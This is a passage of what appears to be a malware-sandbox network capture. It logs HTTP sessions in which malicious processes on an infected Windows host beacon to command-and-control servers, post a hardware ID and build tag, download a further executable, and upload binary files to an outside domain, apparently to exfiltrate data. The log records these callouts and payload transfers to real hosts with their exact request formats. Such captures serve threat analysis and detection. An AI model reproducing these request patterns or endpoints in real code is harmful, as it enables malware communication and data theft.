Nov 15, 2024 16:17:42.526913881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50031	185.215.113.206	80	6980	C:\Users\user\AppData\Local\Temp\1006463001\829de9457d.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:42.349997044 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 15, 2024 16:17:43.250036001 CET	203	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 15, 2024 16:17:43.267563105 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGHIDAFCGIEHIEBFCFBA Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 31 32 33 31 42 34 33 35 46 39 30 31 39 34 32 37 37 39 37 33 36 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 48 49 44 41 46 43 47 49 45 48 49 45 42 46 43 46 42 41 2d 2d 0d 0a Data Ascii: ------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="hwid"31231B435F901942779736------DGHIDAFCGIEHIEBFCFBAContent-Disposition: form-data; name="build"mars------DGHIDAFCGIEHIEBFCFBA--
Nov 15, 2024 16:17:43.547010899 CET	210	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 15:17:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50033	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:44.099052906 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:17:45.032623053 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50035	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:46.773338079 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:17:47.696027040 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	50037	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:49.239933968 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:17:50.161108971 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	50038	185.215.113.16	80	8064	C:\Users\user\AppData\Local\Temp\1006462001\397a6a3fac.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:50.033082008 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 15, 2024 16:17:50.969814062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:50 GMT Content-Type: application/octet-stream Content-Length: 2848768 Last-Modified: Fri, 15 Nov 2024 15:04:06 GMT Connection: keep-alive ETag: "673762e6-2b7800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 e0 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 2c 00 00 04 00 00 3e 34 2c 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ,>4,`Ui` @ @.rsrc`2@.idata 8@cqrjeytt ++:@ftifzosq +P+@.taggant@+"V+@
Nov 15, 2024 16:17:50.969840050 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969846964 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969855070 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969870090 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969883919 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969901085 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969913960 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 15, 2024 16:17:50.969929934 CET	1236	IN	Data Raw: e3 0e fb 62 d9 11 ae c0 f4 f6 ab b7 f7 4c 8a 6c 7a 0e 88 6d f8 cf 93 81 1a 6f b0 ae da db 94 90 bf 80 8f 67 1b dd f2 a8 d7 80 41 a1 d1 ef 01 52 b4 75 82 23 bf e3 9e 91 b8 15 87 bb b3 14 8c 4d 78 0c 37 d6 ce e2 8a 82 c8 81 46 f0 8e 18 00 69 d8 e7 Data Ascii: bLlzmogARu#Mx7FiHUff!.'lnNMPOehif0v:qAi6i']mLrsPfOnp_>'7MTltNu@i=y
Nov 15, 2024 16:17:50.969944000 CET	1236	IN	Data Raw: 3f 66 28 9f ae 15 6b 69 bd 57 ca 97 ea f7 84 9f 25 45 95 62 77 7b 9d 62 93 f6 d2 63 f5 71 b5 6b 6f 46 ce af 93 56 b4 9e e6 26 8a ce 75 e2 44 c6 ac db 74 0d f1 86 b4 ee 52 1d 1d db f4 db cc 62 62 96 00 88 56 7b 67 56 46 5b ad 62 d4 47 8b 85 c7 ae Data Ascii: ?f(kiW%Ebw{bcqkoFV&uDtRbbV{gVF[bGApc%#/7\daio^\/Z)iZw\4L)?GqPbNG^AZD1a{p#rvx?s>>['_c
Nov 15, 2024 16:17:50.974939108 CET	1236	IN	Data Raw: a4 2f 6e 51 96 e0 6d 39 a9 ac d2 f7 b9 b1 68 5e ab 77 76 9d ad 1a 7e ca 16 84 b5 b7 a3 86 bf 76 f5 e9 81 89 f5 1f 76 fa 8e 78 93 db a0 28 c5 65 a6 e3 54 6b 82 81 3f 7d 70 98 b3 46 72 e9 c0 c2 9c 94 73 95 f1 4e f9 80 d9 15 dc fb d1 90 c5 c2 8e a3 Data Ascii: /nQm9h^wv~vvx(eTk?}pFrsNGci'{S`A"PP@{}CTZRUrY=@CW8MF5S}KBThR4\V}0r[u~4n>m

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50039	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:51.806720972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:17:52.713048935 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50049	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:54.348438025 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:17:55.262506962 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50055	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:57.097518921 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:17:57.907691002 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:17:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50071	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:17:59.452760935 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:00.393894911 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50099	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:02.017523050 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:02.933792114 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50106	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:04.854927063 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:05.781162024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50117	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:07.417224884 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50118	34.116.198.130	80	2460	C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:08.304800034 CET	641	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtejs5sr.top Accept: / Content-Length: 462 Content-Type: multipart/form-data; boundary=------------------------iORMldVajbM9Zvm9Nz3ADE Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 69 4f 52 4d 6c 64 56 61 6a 62 4d 39 5a 76 6d 39 4e 7a 33 41 44 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 44 69 62 75 62 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 5a 12 10 2d 08 49 b8 e7 b7 9d d9 9b fe ba f0 ec a7 f2 5f ca 04 47 db d2 8d 22 ca a1 34 79 4d d8 e6 8d 9a 33 dc 7a 95 de 3d 72 81 cb 61 06 f1 82 33 41 af fb 82 eb 1b fd 64 90 f8 17 92 5b 12 fe 2c 68 68 94 73 4c 44 fa 15 38 07 04 eb 98 c2 73 08 4f c8 7a cf c7 da e7 80 b9 1c 87 ad 45 58 7b 1d 02 62 56 0a b6 98 e1 7f f6 97 d2 de 7a b4 88 6a e1 03 1f e3 c5 d9 86 81 e7 ac 20 67 63 8a c5 4e 1b a2 4f 18 9e 0f 05 7e 43 96 28 bf 17 12 ff a0 5b b6 63 eb ed c7 0e ec a6 40 1a 7d 18 43 67 eb 2f c4 90 9d cb 3e 2d 79 c5 7e e9 7c f9 df ad 0b 71 [TRUNCATED] Data Ascii: --------------------------iORMldVajbM9Zvm9Nz3ADEContent-Disposition: form-data; name="file"; filename="Dibubo.bin"Content-Type: application/octet-streamZ-I_G"4yM3z=ra3Ad[,hhsLD8sOzEX{bVzj gcNO~C([c@}Cg/>-y~\|qki5=8>\b(A2w$APp"64H!,vd--------------------------iORMldVajbM9Zvm9Nz3ADE--
Nov 15, 2024 16:18:09.200434923 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Fri, 15 Nov 2024 15:18:09 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50119	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:08.951984882 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 15, 2024 16:18:09.858081102 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50120	185.215.113.43	80	9044	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:11.488281012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 15, 2024 16:18:12.397130013 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 15 Nov 2024 15:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50121	34.116.198.130	80	2460	C:\Users\user\AppData\Local\Temp\1006449001\33a9120b78.exe

Timestamp	Bytes transferred	Direction	Data
Nov 15, 2024 16:18:11.973176956 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtejs5sr.top Accept: / Content-Length: 62759 Content-Type: multipart/form-data; boundary=------------------------inHBHZkXJPaY9RvOQvZVpP Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 69 6e 48 42 48 5a 6b 58 4a 50 61 59 39 52 76 4f 51 76 5a 56 70 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 43 61 68 6f 63 75 6e 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 3a 45 be c8 dc 15 dd ee 0c 19 a9 4c 0f 53 9f a8 1b 09 cb c5 83 99 23 61 07 07 63 ca 91 e8 84 87 4f 1b 1c fd ed 10 f6 5c 22 61 18 d4 c0 fa 16 62 61 46 a6 e9 59 94 c1 e3 77 00 bb bc 75 32 13 ad 19 47 bf dd 31 b8 e4 ce 19 99 fa d7 4a 70 e1 90 2f 63 41 8c 21 85 76 d8 bf 7f 87 80 2b 7b 93 c0 9f 0a 0d 89 89 f1 22 bf c4 36 34 bc 5f 1f ef 7c b6 7c 03 